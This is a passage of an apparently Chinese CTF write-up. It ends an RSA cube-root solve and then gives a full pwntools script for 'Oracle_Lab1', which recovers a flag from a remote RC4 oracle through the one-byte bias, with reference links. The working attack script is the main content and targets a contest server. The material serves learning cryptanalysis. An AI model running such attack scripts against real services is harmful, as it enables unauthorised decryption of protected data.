c = bytes_to_long(open("cipher", "rb").read())

d = inverse_mod(x, n)
m = c * d**3 % n
print(long_to_bytes(long(m.nth_root(3))))

Oracle_Lab1

考点

RC4 one byte bias

预备知识

https://www.rc4nomore.com/
https://cryptopals.com/sets/7/challenges/56

解题过程

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
#!/usr/bin/env python2.7
from pwn import *
from collections import Counter
import sys

HOST = "127.0.0.1"
PORT = 9999
if len(sys.argv) > 1 and sys.argv[1] == 'r':
context.log_level = "debug"
HOST = "140.82.19.20"
PORT = 45126

initial_permutation = "abcdefghijklmnopqrstuvwxy"
current_permutation = ""
flag = ""
for j in range(0, 25):
i = 0
result = ""
while i < 6000:
try:
r = remote(HOST, PORT)
current_permutation = list(initial_permutation)
current_permutation[1] = current_permutation[j]
current_permutation[j] = "b"
while i < 6000:
r.recvuntil("sage!")
r.recvline()
r.sendline(''.join(current_permutation))
letter = r.recvline().strip().decode("hex")[1]
result += letter
print("%d--%s" % (i, letter))
i += 1
char, occur = Counter(result).most_common(1)[0]
log.success("Current flag : %s" % (flag + char))
flag += char
r.close()
sleep(3)
except IndexError as e:
pass

log.success(flag)